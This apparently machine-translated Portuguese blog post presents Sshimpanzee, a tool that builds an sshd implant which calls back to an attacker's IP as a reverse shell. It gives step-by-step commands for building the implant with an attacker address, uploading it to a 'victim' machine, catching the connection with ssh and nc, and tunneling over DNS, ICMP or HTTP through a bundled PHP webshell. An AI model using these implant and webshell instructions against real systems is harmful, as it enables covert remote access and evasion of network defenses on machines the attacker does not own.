Sshimpanzee
Sshimpanzee permite que você construa um estático reverso servidor ssh. Em vez de escutar em uma porta e aguardar conexões, o servidor ssh iniciará uma conexão reversa com o ip do invasor, como um shell reverso normal. O Sshimpanzee permite que você aproveite todos os recursos de uma conexão ssh regular, como encaminhamento de porta, proxies de meias dinâmicas ou servidores FTP.
Mais importante ainda, se uma conexão direta da máquina vítima para o servidor do invasor não for possível, ela fornecerá diferentes mecanismos de tunelamento, como DNS Tunneling, ICMP Tunneling ou HTTP Encapsulation . Ele também suporta proxies HTTP e SOCKS5.
Uso
- Construa o binário com -r para especificar o endereço remoto ao qual se conectar, aqui 192.168.0.2 porta 8097.
./builder.py -r 192.168.0.2:8097
builder.py gera o binário sshd, bem como um de chaves diretório contendo as chaves ssh do cliente e do servidor. O keys/CLIENT é a chave privada do cliente. É aquele usado para autenticar no servidor sshd reverso. Apenas a autenticação de chave ed25519 é suportada.
- Carregue o binário sshd na máquina vítima
- Em seu servidor de escuta, carregue a chave privada
- Ainda assim, no servidor, execute o cliente ssh padrão com um comando netcat proxy:
ssh [email protected] -oProxyCommand=”nc -lp 8097″ -i CLIENT
- Na máquina da vítima, execute o binário:
./sshd
Como alternativa, use a opção -d se desejar informações de depuração. Observe que, no modo de depuração, o sshd não será bifurcado e permanecerá em primeiro plano.
./sshd -d
- 192.168.0.2 deveria ter recebido a conexão.
túneis
Atualmente, o sshimpanzee suporta várias maneiras de o implante alcançar o cliente ssh do invasor:
- Tunelamento de DNS usando o protocolo dns2tcp
- Através do proxy: HTTP/SOCKS4/SOCKS5
- Sockets: (pode ser útil se você quiser implementar seus próprios túneis)
- túnel ICMP
- Encapsulamento HTTP
O argumento –tun é usado para habilitar o tunelamento:
–tun tunnelname,tunneloption1=…,tunneloption2=…
–tun help
Usar túnel DNS
- Construir o binário
./builder.py –tun dns,dnsserv=<SERVER>
- No seu servidor, execute o dns2tcpd padrão usando o arquivo de configuração neste repositório, você precisará modificar o domínio (e a porta do recurso, se desejar).
listen = 0.0.0.0 port = 53 user = nobody key = sshimpanzee chroot = /var/empty/dns2tcp/ domain = <SERVER> resources = sshimpanzee:127.0.0.1:8080
sudo ./dns2tcpd -F -f dns2tcpdrc
- Execute o ssh no lado do cliente da seguinte maneira:
ssh [email protected] -oProxyCommand=”nc -lp 8080″ -i CLIENT
Usar túnel ICMP
- Crie o servidor binário e icmptunnel.
./builder.py –tun icmp,remote=<IP>,buildserv
- carregue o binário build/icmptunnel no servidor que recebe a conexão de volta
- Ainda assim, em seu servidor, adicione os recursos corretos para evitar a execução do proxycommand como root e desative a resposta de ping do sistema
sudo setcap cap_net_raw+ep icmptunnel echo 1 | sudo dd of=/proc/sys/net/ipv4/icmp_echo_ignore_all
- Execute o cliente ssh padrão com icmptunnel como proxycommand:
ssh i -oProxyCommand=./icmptunnel -i test/CLIENT
Use encapsulamento HTTP (ssh -> servidor http -> sshd)
- Construir o binário
./builder.py –tun http_enc
- Carregue o arquivo /tuns/http_enc/proxy.php e os arquivos sshd para o seu servidor web de destino
- Certifique-se de que o proxy.php foi executado corretamente
- Execute o binário sshd no servidor web
- execute ssh na máquina cliente com um script Python em utils/scripts/ as proxy command: Você pode editar o script proxy_cli.py para especificar proxies.
ssh -o ProxyCommand=’python proxy_cli.py http://127.0.0.1:8080/proxy.php EncryptionKey 2>/dev/null’ a@a -i ../../keys/CLIENT
Notas laterais sobre o encapsulamento http
- Proxy.php é um webshell mínimo, você pode usá-lo para carregar sshd para o servidor e executar comandos. proxy_cli.py oferece opções –run e –drop para fazer isso.
- Você pode experimentar um enorme atraso de entrada, porque um atraso de 1 a 5 segundos é adicionado ao pacote enviado pelo cliente ssh para evitar a geração de muitas solicitações http. Se você não se importa em gerar muitas solicitações http (portanto, muitos logs no servidor da Web), adicione a opção –no-buffer ao comando proxy_cli.py.
Usando o cliente sshimpanzee. Este repositório também fornece um cliente localizado em utils/client/bin . Simplesmente copie a chave CLIENT em utils/client/keys/
sshimpanzee --new PORT #create a new listener on PORT
sshimpanzee --new-dns #create a new DNS listener (Don't forget to modify utils/client/config/dnsconf.txt)
sshimpanzee --new-icmp #create a new icmp listener
sshimpanzee --new-http PROXY_PHP_URL #create a new HTTP Session
sshimpanzee --list #list availaible sessions
sshimpanzee --get SESSION_NUMBER #to jump into a session any extra parameters are passed as ssh params
sshimpanzee --rename SESSION_NUMBER #to rename a session
sshimpanzee --kill SESSION_NUMBER #to kill a session
sshimpanzee #use fzf to select which session you want
No entanto, pode ser menos confiável do que usar o ssh diretamente.
5 thoughts on “Sshimpanzee: shell reverso baseado em sshd suportando DNS e ICMP Tunneling”
Comments are closed.